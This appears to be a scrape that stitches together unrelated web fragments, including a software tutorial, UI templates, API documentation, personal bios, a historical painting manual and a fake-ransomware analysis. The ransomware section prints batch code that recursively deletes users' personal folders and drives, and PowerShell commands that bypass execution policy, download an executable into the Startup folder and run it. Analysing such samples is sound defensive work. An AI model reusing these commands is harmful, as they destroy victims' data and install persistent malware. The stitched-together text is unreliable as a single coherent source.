|
Elektra
0.8.18
|
This tutorial assumes that you know what namespaces are. We will only be talking about cascading lookup here.
In Elektra, the default order of namespaces is as follows:
.git
or .htaccess
)Looking at this order, we can see that if a configuration option isn't specified by the user (then it would be in the user
namespace), it will be loaded from the system
namespace. In this case, the option in the system
namespace will be used if the key hasn't been defined by the user.
``` $ sudo kdb set system/sw/tutorial/cascading/#0/current/test "hello world" create a new key system/sw/tutorial/cascading/#0/current/test with string hello world
$ kdb get /sw/tutorial/cascading/#0/current/test hello world
$ kdb set user/sw/tutorial/cascading/#0/current/test "hello universe" Create a new key user/sw/tutorial/cascading/#0/current/test with string hello universe
$ kdb get /sw/tutorial/cascading/#0/current/test hello universe ```
Furthermore, in the order dir
is even higher than user
, which means that configuration in the current folder can overwrite user configuration.
.configuration
in your current directory:
``` test = hello dir ```
Then run:
``` $ sudo kdb mount /.configuration dir/sw/tutorial/cascading/#0/current ini $ kdb get /sw/tutorial/cascading/#0/current/test hello dir ```
Cascading triggers actions when, for example, the key isn't found. This concept is used for our previous example of using system
configuration when the user
configuration is not defined. When a key starts with /
, cascading lookup will automatically be performed. e.g. using /test
instead of system/test
will do a cascading lookup.
The spec
namespace is special as it can completely change how the cascading lookup works.
For example, in the meta data of the respective spec
-keys, override links can be specified to use other keys in favor of the key itself. This way, even config from current folders (dir
) can be overwritten.
In the cascading lookup, meta data of spec
-keys comes in as follows:
override/#
keys will be considerednamespaces/#
keys are consideredfallback/#
keys will be considereddefault
value will be returnedNote: override/#
means an array of override
keys, the array can be filled by setting #
followed by the position, e.g. #0
, #1
, etc
As you can see, override links are considered before everything else, which makes them really powerful.
To create an override link, first you need to create a key to link the override to:
``` $ sudo kdb set system/overrides/test "hello override" Create a new key system/overrides/test with string hello override ```
Override links can be defined by adding them to the override/#
array:
``` $ sudo kdb setmeta spec/sw/tutorial/cascading/#0/current/test override/#0 /overrides/test $ kdb get /sw/tutorial/cascading/#0/current/test hello system override ```
Furthermore, you can specify a custom order for the namespaces, set fallback keys and more. For more information, read the `elektra-spec` help page.
Override links can also be used to define default values. It's similar to defining default values via the system
namespace, but uses overrides, which means it will be preferred over the configuration in the current folder (dir
).
This means that user defaults overwrite values specified in the .configuration
file we created and mounted earlier in this tutorial.
First you need to create the system default value to link the override to if the user hasn't defined it:
``` $ sudo kdb set system/overrides/test "hello default" Create a new key system/overrides/test with string hello default ```
Then we can create the link:
``` $ sudo kdb setmeta spec/sw/tutorial/cascading/#0/current/test override/#0 /overrides/test $ kdb get /sw/tutorial/cascading/#0/current/test hello default ```
Now the user overrides the system default:
``` $ kdb set /overrides/test "hello user" Using name user/overrides/test Create a new key user/overrides/test with string hello user $ kdb get /sw/tutorial/cascading/#0/current/test hello user ```


Charlotte Motor Speedway Dragrace
U of SC Geophysics
Maximum Ground Acceleration!
Load
Pause
Realtime


Dream
John Doe
Today
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s...
John Smith
Yesterday
Lorem Ipsum has been the industry's standard dummy text ever since an kwilnw...
John Smith
Yesterday
Lorem Ipsum has been the industry's standard dummy text ever since the...
Read All Messages
Task 1
60% Complete
60% Complete
Task 2
28% Complete
28% Complete
Task 3
60% Complete
60% Complete
Task 4
85% Complete
85% Complete
See All Tasks
New Comment
4 min
3 New Followers
12 min
Message Sent
4 min
New Task
4 min
Server Rebooted
4 min
See All Alerts
User Profile
Settings
Logout
Dashboard
Charts
Empty Page
Charts
Show up your stats
Bar Chart
Area Chart
Donut Chart
Line Chart


CHRISTOPHER HUI
10/17/2014
4:04 PM
This is a question I have been asking myself throughout Dev Bootcamp’s Phase 0. I know there is something known as ‘Ruby on Rails’, but I don’t know what ‘Rails’ is. During Unit 2 of Phase 0, we spend a lot of time learning about Ruby, but there was no sign of Rails. I still have not touched Rails, so I’m going to give it my best shot explaining Rails without any previous experience.
Rails is a software library that makes Ruby a more versatile language. Rails was created to extend the Ruby programming language. Rails is a framework that is used for building websites. Rails combines Ruby with HTML, CSS, and JavaScript in order to create functional web applications. By doing this, Rails makes it easier to collaborate and maintain web applications. Rails is great because it allows programmers to accomplish more while writing less code.
I’m not sure what else to write. I could regurgitate information I found off a website, but I found father explain concepts I understand. This is a challenging thing to do because I have no experience using Rails. So I guess this is the end to my shortest blog post!
I will be researching and learning about the other topics, but I will not physically write about them


Click on the image to update the target (the red mark).
Hit "Play" to playback the images for a quick review.


Master Thesis,
David Bergvik
Logbook
Thesis Specification
This is master thesis in interactiondesign (IxD). It Evaluates the use of 2D principles when designing Virtual Reality interfaces.


Ransomware has been picking up what seems to be a lot of attention within the past couple of months, with some adversaries even getting payment from some corporations. During my normal routines I’ve come across a fair amount of variants from Cryptowall, Teslacrypt, Locky, etc. I can now say that I’ve had a chance to look at fake ransomware, and honestly, I have a hard time determining if it’s an amazing idea or just so basic that adversaries lacking experience are able to pull it off.
Part1
The initial attack vector was an e-mail with a link which takes you to a download for an executable. When sandboxing the sample, you’re able to determine that some additional files are dropped upon execution, one of which is a .bat file.
First .bat content [C:\Users\User\AppData\Local\Temp\XXX.tmp\XXX.bat]
Lets break down the first important thing noticed.
The adversary reverses the right/left-click buttons for the mouse
@shift /0
@ echo off
rem ---------------------------------
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ---------------------------------
They then proceed to iterate through some of the folders most likely to contain personal information a end-user would want back, then delete all the items within the folder. I shortened the output, just know that the following folders/drives are impacted. Desktop, Documents, Downloads, Pictures, Music, Videos, Contacts, Favorites, Searches, Recycle bin, Temp, A:, B:, D:, E:, F:, G:, H:
@echo off
set folder="%USERPROFILE%\Desktop\*"
cd /d %folder%
for /F "delims=" %%i in ('dir /b') do (rmdir "%%i" /s/q || del "%%i" /s/q)
@echo off
set folder="%USERPROFILE%\Documents\*"
cd /d %folder%
for /F "delims=" %%i in ('dir /b') do (rmdir "%%i" /s/q || del "%%i" /s/q)
@echo off
set folder="%USERPROFILE%\Downloads\*"
cd /d %folder%
for /F "delims=" %%i in ('dir /b') do (rmdir "%%i" /s/q || del "%%i" /s/q)
@echo off
set folder="%USERPROFILE%\Pictures\*"
cd /d %folder%
for /F "delims=" %%i in ('dir /b') do (rmdir "%%i" /s/q || del "%%i" /s/q)
[SNIPPED]
They proceed to do what I’ll consider a form of calling home. A browser is launched to the web address specified which is currently down, but potentially had an encryption message.
@echo off
start "" hXXp://10236.6te.net
Powershell is then invoked to download some additional files. - First command is used to download the common “your files have been encrypted muahahaha” image. This image is then placed on the users Desktop with the name “Files_Encrypted.jpg” - Second command downloads another executable (we’ll look at this one as well) named “part2.exe” which is then placed to probably the most common persistent point, the startup folder, and renamed to “winrds.exe”. - Third command downloads the instructions on how the end-user can make payment via bitcoin to retrieve the decryption key to restore all their missing files. This file is also conveniently placed on the users Desktop.
@echo off
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden \\
(New-Object System.Net.WebClient).DownloadFile('hXXp://post.eu5.org/anon.jpg','%USERPROFILE%\Desktop\Files_Encrypted.jpg'); \\
cmd /c '%USERPROFILE%\Desktop\Files_Encrypted.jpg'
@echo off
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden \\
(New-Object System.Net.WebClient).DownloadFile('hXXps://s3-us-west-2.amazonaws.com/content.tobi/part2.exe', \\
'%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\winrds.exe'); cmd /c '%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\winrds.exe'
@echo off
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden \\
(New-Object System.Net.WebClient).DownloadFile('hXXps://s3-us-west-2.amazonaws.com/content.tobi/payment_instructions.txt', \\
'%USERPROFILE%\Desktop\Payment_Info.txt'); cmd /c '%USERPROFILE%\Desktop\Payment_Info.txt'
Part 2
Second .bat content [C:\Users\User\AppData\Local\Temp\~XXXX.bat]
So we saw that a second executable file is retrieved and placed within the Startup folder for persistence. After detonating this second sample, some of the same techniques noticed prior were used again.
Another .bat files is dropped from the executable which begins by first reversing the mouse buttons again.
@ echo off
rem ---------------------------------
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ---------------------------------
They then try to make sure that the interface is enabled (I suppose they are hoping the end-user is wired with the interface having a default name).  However, they spelled disable wrong (Desable), so the interface doesn’t get turned off.
@Echo off
Ipconfig /release
timeout /t 10 /nobreak
@echo off
netsh interface set interface "Local Area Connection" Desable
timeout /t 150 /nobreak
Last, but certainly not least, the adversary issues a 60 second restart with a message displayed to pay the ransom for file retrievals. And if you need assistance with figuring out how to pay, they have a nice support e-mail address you can contact. Service first!
 Shutting Down In 60 Seconds. Email<EMAIL_ADDRESS>for assistance."
Wrap up
This is a simple attempt at an adversary using Ransomware with a means to also impersonate itself as Cryptoware. Typically they go hand in hand, but this is a clever fake. All personal files are explicitly deleted from disk, so if an end-user was to actually pay the adversary, no decryption key will be delivered. You’ll have to resort to a file recovery method for the local hard drive. So back to my original thought, is this really better then Cryptoware? The adversary really doesn’t have to stand up an infrastructure for command & control traffic, they don’t have to maintain crypto keys, their malware works quicker then crypto since only deletion is taking place and not rounds of encryption, etc. I really think we’ll be seeing more of these “quick wins” for the adversary within the year as a typical end-user would never know the difference.


The Associazione Italiana Studenti di Fisica (AISF) is a non-profit organization with educational purposes that gathers together all the Italian students of physics. It was founded in Heidelberg in August 2014 and since January 2015 is a National Committee of the International Association of Physics Students (IAPS). It counts more than 1400 members and 19 Local Committees.


|
MoveToCode
|
Class providing a base implementation of the IMixedRealitySpatialAwarenessObserver interface. More...
Public Member Functions | |
| override void | Initialize () |
| Creates the observer. More... | |
| override void | Reset () |
| Suspends the observer, clears observations, cleans up the observer, then re-initializes. More... | |
| override void | Enable () |
| Optional Enable function to enable / re-enable the service. More... | |
| override void | Disable () |
| Optional Disable function to pause the service. More... | |
| override void | Destroy () |
| Optional Destroy function to perform cleanup of the service before the Mixed Reality Toolkit is destroyed. More... | |
| override bool | Equals (object obj) |
| int | GetHashCode (object obj) |
| override int | GetHashCode () |
| virtual void | Resume () |
| Start | resume the observer. More... | |
| virtual void | Suspend () |
| Stop | pause the observer More... | |
| virtual void | ClearObservations () |
| Clears the observer's collection of observations. More... | |
| Public Member Functions inherited from Microsoft.MixedReality.Toolkit.IMixedRealityService | |
| void | Update () |
| Optional Update function to perform per-frame updates of the service. More... | |
| void | LateUpdate () |
| Optional LateUpdate function to that is called after Update has been called on all services. More... | |
Static Public Attributes | |
| const int | DefaultSpatialAwarenessLayer = 31 |
| Default dedicated layer for spatial awareness layer used by most components in MRTK More... | |
Protected Member Functions | |
| BaseSpatialObserver (IMixedRealitySpatialAwarenessSystem spatialAwarenessSystem, string name=null, uint priority=DefaultPriority, BaseMixedRealityProfile profile=null) | |
| Constructor. More... | |
| virtual void | CreateObserver () |
| Creates the spatial observer and handles the desired startup behavior. More... | |
| virtual void | CleanupObserver () |
| Ensures that the spatial observer has been stopped and destroyed. More... | |
| override void | Dispose (bool disposing) |
| BaseSpatialObserver (IMixedRealityServiceRegistrar registrar, IMixedRealitySpatialAwarenessSystem spatialAwarenessSystem, string name=null, uint priority=DefaultPriority, BaseMixedRealityProfile profile=null) | |
| Constructor. More... | |
| Protected Member Functions inherited from Microsoft.MixedReality.Toolkit.BaseDataProvider< IMixedRealitySpatialAwarenessSystem > | |
| BaseDataProvider (IMixedRealityServiceRegistrar registrar, IMixedRealityService service, string name=null, uint priority=DefaultPriority, BaseMixedRealityProfile profile=null) | |
| Constructor. More... | |
| BaseDataProvider (IMixedRealityService service, string name=null, uint priority=DefaultPriority, BaseMixedRealityProfile profile=null) | |
| Constructor. More... | |
| BaseDataProvider (T service, string name=null, uint priority=DefaultPriority, BaseMixedRealityProfile profile=null) | |
| Constructor. More... | |
Properties | |
| IMixedRealitySpatialAwarenessSystem | SpatialAwarenessSystem [get] |
| The spatial awareness system that is associated with this observer. More... | |
| uint | SourceId [get] |
| string | SourceName [get] |
| AutoStartBehavior | StartupBehavior = AutoStartBehavior.AutoStart [get, set] |
| int | DefaultPhysicsLayer = DefaultSpatialAwarenessLayer [get] |
| bool | IsRunning = false [get, protected set] |
| bool | IsStationaryObserver = false [get, set] |
| Quaternion | ObserverRotation = Quaternion.identity [get, set] |
| Vector3 | ObserverOrigin = Vector3.zero [get, set] |
| VolumeType | ObserverVolumeType = VolumeType.AxisAlignedCube [get, set] |
| Vector3 | ObservationExtents = Vector3.one * 3f [get, set] |
| float | UpdateInterval = 3.5f [get, set] |
| Properties inherited from Microsoft.MixedReality.Toolkit.BaseDataProvider< IMixedRealitySpatialAwarenessSystem > | |
| IMixedRealityServiceRegistrar | Registrar [get, set] |
| The service registrar instance that registered this service. More... | |
| T | Service [get, set] |
| The service instance to which this provider is providing data. More... | |
| Properties inherited from Microsoft.MixedReality.Toolkit.SpatialAwareness.IMixedRealitySpatialAwarenessObserver | |
| AutoStartBehavior | StartupBehavior [get, set] |
| Indicates the developer's intended startup behavior. More... | |
| int | DefaultPhysicsLayer [get] |
| Get or sets the default Unity Physics Layer on which to set the spatial object. More... | |
| bool | IsRunning [get] |
| Is the observer running (actively accumulating spatial data)? More... | |
| bool | IsStationaryObserver [get, set] |
| Should the observer remain stationary in the scene? More... | |
| VolumeType | ObserverVolumeType [get, set] |
| Gets or sets the type of volume the observer should operate in. More... | |
| Vector3 | ObservationExtents [get, set] |
| Gets or sets the extents( 1/2 size) of the volume, in meters per axis, from which individual observations will be made. More... | |
| Quaternion | ObserverRotation [get, set] |
| Gets or sets the orientation of the volume in World Space. More... | |
| Vector3 | ObserverOrigin [get, set] |
| Gets or sets the origin, in World Space, of the observer. More... | |
| float | UpdateInterval [get, set] |
| Gets or sets the frequency, in seconds, at which the spatial observer should update. More... | |
| Properties inherited from Microsoft.MixedReality.Toolkit.IMixedRealityService | |
| string | Name [get] |
| Optional Priority attribute if multiple services of the same type are required, enables targeting a service for action. More... | |
| uint | Priority [get] |
| Optional Priority to reorder registered managers based on their respective priority, reduces the risk of race conditions by prioritizing the order in which managers are evaluated. More... | |
| BaseMixedRealityProfile | ConfigurationProfile [get] |
| The configuration profile for the service. More... | |
| Properties inherited from Microsoft.MixedReality.Toolkit.IMixedRealityEventSource | |
| uint | SourceId [get] |
| The unique source id of this event source. More... | |
| string | SourceName [get] |
| The name of this event source. More... | |
Class providing a base implementation of the IMixedRealitySpatialAwarenessObserver interface.
|
protected |
Constructor.
| spatialAwarenessSystem | The SpatialAwareness.IMixedRealitySpatialAwarenessSystem to which the observer is providing data. |
| name | The friendly name of the data provider. |
| priority | The registration priority of the data provider. |
| profile | The configuration profile for the data provider. |
|
protected |
Constructor.
| registrar | The IMixedRealityServiceRegistrar instance that loaded the observer. |
| spatialAwarenessSystem | The SpatialAwareness.IMixedRealitySpatialAwarenessSystem to which the observer is providing data. |
| name | The friendly name of the data provider. |
| priority | The registration priority of the data provider. |
| profile | The configuration profile for the data provider. |
|
protectedvirtual |
Ensures that the spatial observer has been stopped and destroyed.
Reimplemented in Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver, Microsoft.MixedReality.Toolkit.WindowsMixedReality.SpatialAwareness.WindowsMixedRealitySpatialMeshObserver, and Microsoft.MixedReality.Toolkit.SpatialObjectMeshObserver.SpatialObjectMeshObserver.
|
virtual |
Clears the observer's collection of observations.
Implements Microsoft.MixedReality.Toolkit.SpatialAwareness.IMixedRealitySpatialAwarenessObserver.
Reimplemented in Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver, and Microsoft.MixedReality.Toolkit.SpatialObjectMeshObserver.SpatialObjectMeshObserver.
|
protectedvirtual |
Creates the spatial observer and handles the desired startup behavior.
Reimplemented in Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver, Microsoft.MixedReality.Toolkit.WindowsMixedReality.SpatialAwareness.WindowsMixedRealitySpatialMeshObserver, and Microsoft.MixedReality.Toolkit.SpatialObjectMeshObserver.SpatialObjectMeshObserver.
| override void Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Destroy | ( | ) |
Optional Destroy function to perform cleanup of the service before the Mixed Reality Toolkit is destroyed.
Implements Microsoft.MixedReality.Toolkit.IMixedRealityService.
| override void Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Disable | ( | ) |
Optional Disable function to pause the service.
Implements Microsoft.MixedReality.Toolkit.IMixedRealityService.
|
protected |
| override void Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Enable | ( | ) |
Optional Enable function to enable / re-enable the service.
Implements Microsoft.MixedReality.Toolkit.IMixedRealityService.
| override bool Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Equals | ( | object | obj | ) |
| override int Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.GetHashCode | ( | ) |
| int Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.GetHashCode | ( | object | obj | ) |
| override void Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Initialize | ( | ) |
Creates the observer.
Implements Microsoft.MixedReality.Toolkit.IMixedRealityService.
| override void Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialObserver.Reset | ( | ) |
Suspends the observer, clears observations, cleans up the observer, then re-initializes.
Implements Microsoft.MixedReality.Toolkit.IMixedRealityService.
|
virtual |
Start | resume the observer.
Implements Microsoft.MixedReality.Toolkit.SpatialAwareness.IMixedRealitySpatialAwarenessObserver.
Reimplemented in Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver, Microsoft.MixedReality.Toolkit.WindowsMixedReality.SpatialAwareness.WindowsMixedRealitySpatialMeshObserver, and Microsoft.MixedReality.Toolkit.SpatialObjectMeshObserver.SpatialObjectMeshObserver.
|
virtual |
Stop | pause the observer
Implements Microsoft.MixedReality.Toolkit.SpatialAwareness.IMixedRealitySpatialAwarenessObserver.
Reimplemented in Microsoft.MixedReality.Toolkit.XRSDK.GenericXRSDKSpatialMeshObserver, Microsoft.MixedReality.Toolkit.WindowsMixedReality.SpatialAwareness.WindowsMixedRealitySpatialMeshObserver, and Microsoft.MixedReality.Toolkit.SpatialObjectMeshObserver.SpatialObjectMeshObserver.
|
static |
Default dedicated layer for spatial awareness layer used by most components in MRTK
|
get |
|
getprotected set |
|
getset |
|
getset |
|
getset |
|
getset |
|
getset |
|
get |
|
get |
|
getprotected |
The spatial awareness system that is associated with this observer.
|
getset |
|
getset |


The_Blacklist
The Blacklist is a crime drama involving a former government agent who turned into a high-profile criminal turning himself in to the FBI offering to help catch criminals.


| Class |
Description |
|
ArrayUtils
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
BaseJsonParser
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
Byt
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
ByteScanner
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
CharBuf
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
CharSequenceValue
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
Charsets
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
Chr
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
Dates
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
Exceptions
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
FastStringUtils
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
IO
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
JsonFastParser
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
JsonParserLax
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
JsonParserUsingCharacterSource
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
JsonStringDecoder
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
LazyMap
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
LazyValueMap
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
MapItemValue
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
NumberValue
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
ReaderCharacterSource
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
SimpleCache
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
ValueContainer
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
ValueList
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |
|
ValueMapImpl
|
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. |


Remote controlled cars - Position Finder
Cars are placed on a 15 by 15 grid at particular co-ordinates heading north, and the simple commands Left, right and forward are transmitted to them.
Transmit the command to calculate final position.
Command (format - (0-9,0-5:FPR)) :
{{output}}


respond
robot.respond(regex, callback)
Public: Adds a Listener that attempts to match incoming messages directed
at the robot based on a Regex. All regexes treat patterns like they begin
with a ‘^’
regex - A Regex that determines if the callback should be called.
callback - A Function that is called with a Response object.
Returns nothing.
Robot.prototype.respond = function(regex, callback) {
var modifiers, name, newRegex, pattern, re;
re = regex.toString().split('/');
re.shift();
modifiers = re.pop();
if (re[0] && re[0][0] === '^') {
console.log("Anchors don't work well with respond, perhaps you want to use 'hear'");
console.log("The regex in question was " + (regex.toString()));
}
pattern = re.join('/');
name = this.name.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, '\\$&');
newRegex = new RegExp("^\\s*[@]?" + name + "[:,]?\\s*(?:" + pattern + ")", modifiers);
return this.listeners.push(new Listener(this, newRegex, callback));
};


I am a self-taught UI developer & UX designer based in San Francisco, CA. Currently working as a UX/UI Developer for Dun &: Bradstreet. I have a passion for developing Front End GUI & Web Applications with Interactive and Responsive Web Design. I am also a big fan of Batman Trilogy & always love to play Counter Strike : Global Offensive.
Competences: HTML5, CSS3, JavaScript, jQuery, Bootstrap, MySQL, Angular JS, JBackbone JS.


[continued]
and even it well then and once quite dry, they draw their picture & layer their natural flesh color, leaving the space for shadow, like the side of the forehead, & the cheek, & the area around the eyes blank & dry until they have filled in the rest. Next they put their shadows separately, which they do not make as dark as they could not naturally be. In sum, they do not put shadow on flesh color nor flesh color on shadow, but white on white & black on black Thus & each on their own. In this way their work is neat & the colors do not die.
Flesh colors
You need to make two kinds of it, one more red to make the main layer, the other more pale for the highlights, as around the eyes. And then on this last flesh color, you will lightly touch the main daylight with a little lead white.  The beautiful Florence lake makes a beautiful vivid flesh color that approaches the complexion of rose alexandrine & incarnadine.
at left top margin
Certain colors do not want to be ground like minium and massicot. The ashes do not want to be ground at all.
Rounding off
If you want to highlight well, arr soften round things by rounding them off with the point of the pinceau & the rest with the flat part if it is flat, & thus for the others according to their nature, & lightly with the point of the dry & flattened pinceau & with patience.
Lead white
Without this, you cannot work on a small scale for which one needs to soften with great care. But you cannot do it with ceruse because it does not have enough body.
Lights
Your pinceau shows it to you by casting a shadow which must always follow the back of your hand, not in a straight line like this, > Figure > for the light would be too crude & too harsh, but obliquely & as if at an incline, thus: > Figure > The panel needs to not be facing the light head—on, but half turned against it. And above all look for a soft light, for it makes soft both the shadow & the work, like a harsh light makes a harsh work.


What does your
company do?
Small text about this title...
company's work
BIG TEXT !
Small text about this title...
text about this prices
The work will include the next items
You mast call to us
Please,wait
Our specialist will be here soon
We will make a contract
Start work
The work has finished.
You can enjoy)


[1]
groups so beware of noisy teenagers running through the halls , slamming doors , yelling etc .


Home
Transition 1 + SCROLL TEST
Transition 2 + CONTROLLER EVENTS
Transition 3
Transition 4
Transition 5


Fast, easy and free to post an ad and you will find, what you are looking for.


Available pages:
View and control sensor motes
Visualize sensor data
Display data coming from attached motes
Put C or SEAL applications on motes
SEAL block programming editor
Log in to get more access


StormLib API Reference
SFileOpenFileEx
bool WINAPI SFileOpenFileEx( HANDLE hMpq, // Archive handle const char * szFileName, // Name of the file to open DWORD dwSearchScope, // Specifies the scope for the file. HANDLE * phFile // Pointer to file handle );
Function SFileOpenFileEx opens a file from MPQ archive. The file is only open for read. The file must be closed by calling SFileCloseFile. All files must be closed before the MPQ archive is closed.
| Value | Meaning |
|---|---|
| SFILE_OPEN_FROM_MPQ (0x00000000) |
The file is open from the MPQ. This is the default value. hMpq must be valid if SFILE_OPEN_FROM_MPQ is specified. |
| SFILE_OPEN_LOCAL_FILE (0xFFFFFFFF) |
Opens a local file instead. The file is open using CreateFileEx with GENERIC_READ access and FILE_SHARE_READ mode. |
When the function succeeds, it returns nonzero and phFile contains the handle of the opened file. When the file cannot be open, function returns false and GetLastError gives the error code.
The function always tries to open file with the specified locale first. If such file doesn't exist in the MPQ, the function tries to open file with neutral language ID.
When SFILE_OPEN_PATCH_FILE is specified as dwSearchScope parameter, then the following StormLib functions behave dfferently:
When the caller doesn't know the proper file name, a pseudo name can be used. The pseudo name is in the form of File%08u.xxx (case sensitive). The numeric part of the file is the index in the file table. The open operation succeeds only if any of the following conditions is true:
| Available in Storm.dll | Yes |
| Ordinal number in Storm.dll 1.00 | 79 (0x04F) |
| Ordinal number in Storm.dll 1.09 | 268 (0x10C) |
Copyright (c) Ladislav Zezula 2003 - 2010


{% extends "base.html" %} {% load i18n %} {% block content %} {% if perms_lacking %}
{% trans 'Deleting the ' %}{{ controller.opts.verbose_name }}{% blocktrans with escaped_object=object %}: "{{ escaped_object }}" would result in deleting related objects, but your account doesn't have permission to delete the following types of objects:{% endblocktrans %}
{% trans 'Deleting the ' %}{{ controller.opts.verbose_name }}{% blocktrans with escaped_object=object %}: "{{ escaped_object }}" would require deleting the following protected related objects:{% endblocktrans %}
{% trans 'Are you sure you want to delete the ' %}{{ controller.opts.verbose_name }}{% blocktrans with escaped_object=object %}: "{{ escaped_object }}"? All of the following related items will be deleted:{% endblocktrans %}
{% include "includes/object_delete_summary.html" %}


Revance Therapeutics (RVNC) Investor Presentation - Sliideshow
by SA Transcripts, https://seekingalpha.com/author/sa-transcriptsThe following slide deck was published by Revance Therapeutics, Inc. in conjunction with this event.
The following slide deck was published by Revance Therapeutics, Inc. in conjunction with this event.


Before Change
def initialize(list_of_extractors):
sys.path.append(os.path.abspath(os.environ.get("TCP_DIR") + \
"Software/ingest_tools"))
import feature_extraction_interface
fs = feature_extraction_interface.Internal_Feature_Extractors()
for key_name in fs.feature_ordered_keys:
After Change
// instance.register_extractor()
//else:
// pass
try:
// TODO: Figure out why we have to register the extractor
// both on the extractor and the feature_interface instance
instance.register_extractor()
feature_interface.register_extractor(type(instance))
except Exception as e:
raise(e)
print("Could not register extractor", extractor_name)
print(e.msg)
else:
pass
return list_of_extractor_objects


Your results:
- Future value: ${{ nominalFutureValue.toFixed(2) }}
- Future value adjusted for inflation: ${{ inflationFutureValue.toFixed(2) }}
| RRSP | TFSA | |
|---|---|---|
| Tax refund: | ${{ rrspTaxRefund.toFixed(2) }} | ${{ tfsaTaxRefund.toFixed(2) }} |
| Tax due on withdrawal: | ${{ rrspWithdrawalTaxValue.toFixed(2) }} | ${{ tfsaWithdrawalTaxValue.toFixed(2) }} |
| Future value after tax on withdrawal: | ${{ rrspFutureValueAfterTax.toFixed(2) }} | ${{ tfsaFutureValueAfterTax.toFixed(2) }} |
| Future value after tax on withdrawal when tax refund is also invested: | ${{ rrspWithTaxRefundFutureValueAfterTax.toFixed(2) }} | ${{ tfsaWithTaxRefundFutureValueAfterTax.toFixed(2) }} |


flibs/strings - Encode/decode base64 strings
The base64 module contains two routines, one to encode a sequence of bytes (stored as a character string) to a string of characters according to the base64 scheme and one to convert a base64 string back to the original bytes (again stored as a character string).
To import the definitions, use this module.
Convert the input string string and return the base64 result in the second argument.
The string to be converted
The string holding the encoding. Note that the string is automatically allocated to the right size. If necessary, padding ("=" characters) is added.
Convert the base64 input string encoded_string and return the decoded result in the second argument.
The base64 string to be converted back to the original.
The string holding the original sequence of bytes. Note that the string is automatically allocated to the right size. Padding ("=" characters) is optional. Spaces in or surrounding the base64 string are ignored.
If the base64 string contains invalid characters, then this argument is set to true, otherwise it is to set to false and the output argument will contain the decoded sequence of bytes.
Copyright © 2019 Arjen Markus <arjenmarkus@sourceforge.net>


Java Spring Boot on ECS Fargate with Redis Caching
Cache Examples
View Count
You have viewed this page time(s) during this session.
Data pulled from the active session (), stored in Redis.
Call Cached Method
Click 'call' to perform a GET request against the cached method. Expect the first call to take 5 seconds and subsiquent calls to be loaded from Redis cache.
Use the below evict button to evict the cache stored in Redis.


Nina Stender is a sophomore at Wesleyan University, double majoring in College of Social Studies and Government. She was born and raised abroad in Hong Kong, but also has a home base in the bay area of Northern California, where the majority of her family resides. Nina is bilingual in English and Chinese, and hopes to improve her Spanish, which she is currently studying at the intermediate level.
On campus, Nina is involved in the Woodrow Wilson Debate Society, the Alpha Delta Phi Literary Society, J Street U and Terpsichore Dance. She also serves as a Student Writing Mentor in the Wesleyan Writing Workshop. She is known as DJ Struggles on her radio show Carpe Noctem on WESU Middletown 88.1FM, which airs on the 1st/3rd/5th Tuesdays each month from 2:30-3:30am and can be live streamed online here.
